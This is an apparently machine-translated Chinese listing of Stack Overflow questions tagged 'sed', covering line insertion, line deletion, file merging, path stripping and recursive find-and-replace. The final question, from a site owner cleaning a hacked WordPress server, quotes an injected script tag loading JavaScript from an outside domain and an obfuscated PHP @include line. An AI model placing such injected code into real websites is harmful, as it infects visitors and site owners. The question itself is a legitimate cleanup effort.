Questions tagged «sed»

Sed(Stream EDitor)是POSIX环境的命令行编辑器。Sed根据编辑脚本处理一个或多个文件,并将结果写入标准输出。它是由贝尔实验室(Bell Labs)创建的,自70年代中期以来一直存在。

4
sed插入行,其中有到特定行的空格
我开头有一行,例如“ Hello world”。我想将此行插入文件中的特定行。例如,将“ hello world”插入下一个文件 hello world 结果: hello hello world world 我正在使用以下sed脚本: sed -i "${line} i ${text}" $file 问题是我在换行时没有空格: hello hello world world
75 linux  bash  sed 


4
sed删除不包含特定字符串的行
我是新手sed,我有以下问题。在此示例中: some text here blah blah 123 another new line some other text as well another line 我想删除除包含字符串'text'和或字符串'blah'的行以外的所有行,因此我的输出文件如下所示: some text here blah blah 123 some other text as well 任何提示如何使用来完成sed?
73 sed 



6
“ +”(一个或多个事件)不与“ sed”命令一起使用
我正在尝试通过消除不必要的空格,空行以及使括号与空格之间保持平衡来完善代码,因此: int a = 4; if ((a==4) || (b==5)) a++ ; 应更改为: int a = 4; if ( (a==4) || (b==5) ) a++ ; 它确实适用于方括号和空行。但是,它忘记将多个空间缩小为一个空间: int a = 4; if ( (a==4) || (b==5) ) a++ ; 这是我的脚本: #!/bin/bash # Script to refine code # filename=read.txt sed 's/((/( (/g' $filename …
73 macos  bash  sed 

7
sed-注释与特定字符串匹配且尚未注释掉的行
我有以下测试文件 AAA BBB CCC 使用以下sed,我可以注释掉BBB行。 # sed -e '/BBB/s/^/#/g' -i file 我只想注释掉开头的行号。 # sed -e '/^#/! /BBB/s/^/#/g' file sed: -e expression #1, char 7: unknown command: `/' 有什么想法可以实现这一目标吗?
73 regex  linux  unix  sed 

6
如何一致地逐行合并两个文件
我有两个文件(file1.txt和file2.txt),这些文件仅是示例。 如何合并两个文件,以创建文件-merge_files.txt作为示例3 我现在写的是ksh脚本,因此可以用ksh,awk,sed,perl一个内衬... etc进行合并 背景-为什么需要合并文件:我的目标是将OLD文件(存在于第一个字段中)重命名为NEW文件(存在于第二个字段中), 例子1 more file1.txt /etc/port1-192.9.200.1-255.555.255.0 /etc/port2-192.9.200.1-255.555.255.0 /etc/port3-192.9.200.1-255.555.255.0 /etc/port4-192.9.200.1-255.555.255.0 /etc/port5-192.9.200.1-255.555.255.0 . . . . 例子2 more file2.txt /etc/port1-192.90.2.1-255.555.0.0 /etc/port2-192.90.2.1-255.555.0.0 /etc/port3-192.90.2.1-255.555.0.0 /etc/port4-192.90.2.1-255.555.0.0 /etc/port5-192.90.2.1-255.555.0.0 . . . . 例子3 more merge_files.txt /etc/port1-192.9.200.1-255.555.255.0 /etc/port1-192.90.2.1-255.555.0.0 /etc/port2-192.9.200.1-255.555.255.0 /etc/port2-192.90.2.1-255.555.0.0 /etc/port3-192.9.200.1-255.555.255.0 /etc/port3-192.90.2.1-255.555.0.0 /etc/port4-192.9.200.1-255.555.255.0 /etc/port4-192.90.2.1-255.555.0.0 /etc/port5-192.9.200.1-255.555.255.0 /etc/port5-192.90.2.1-255.555.0.0 . . . . . example4(merge_files.txt结构) first field …
71 linux  perl  sed  awk  ksh 

7
在Unix上删除部分路径
我正在尝试删除字符串中的部分路径。我有路径: /path/to/file/drive/file/path/ 我想删除第一部分/path/to/file/drive并产生输出: file/path/ 注意:我在while循环中有几个路径,/path/to/file/drive所有路径都相同,但是我只是在寻找删除所需字符串的“方法”。 我找到了一些示例,但无法使它们起作用: echo /path/to/file/drive/file/path/ | sed 's:/path/to/file/drive:\2:' echo /path/to/file/drive/file/path/ | sed 's:/path/to/file/drive:2' \2 作为字符串的第二部分,我显然做错了什么……也许有更简单的方法吗?
70 shell  unix  scripting  sed 

8
使用grep和sed查找和替换字符串
我正在使用以下内容以递归方式在目录中搜索特定的字符串,并将其替换为另一个: grep -rl oldstr path | xargs sed -i 's/oldstr/newstr/g' 这样可以。唯一的问题是,如果字符串不存在,则sed失败,因为它没有任何参数。这对我来说是个问题,因为我正在使用ANT自动运行此操作,并且由于sed失败而导致构建失败。 如果找不到该字符串,有没有办法使它失效? 我对我可以使用的单行简单解决方案感兴趣(不一定与grep或sed与此类通用unix命令一起使用)。
69 linux  shell  unix  sed  grep 

6
如何在OS X上使用sed插入制表符?
我试过了: echo -e "egg\t \t\t salad" | sed -E 's/[[:blank:]]+/\t/g' 结果是: eggtsalad 和... echo -e "egg\t \t\t salad" | sed -E 's/[[:blank:]]+/\\t/g' 结果是: egg\tsalad 我想要的是: egg salad
68 regex  macos  sed 

7
如何使用sed或可能的grep替换整个字符串
因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中 <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 我确实使用grep通过grep搜索 grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 我正在尝试将其替换为整个文件结构,sed并编写了以下命令。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php 我想先替换单个文件上的字符串index.php,所以我知道它可以工作。 而且我知道我的代码是错误的。请帮我解决一下这个。 我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个 /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ 在删除所有内容的同时,我希望保留php开头标签<?php。 尽管@slybloty的解决方案很简单并且有效。 以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行 find . -type f -name …
10 bash  shell  sed  grep 
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.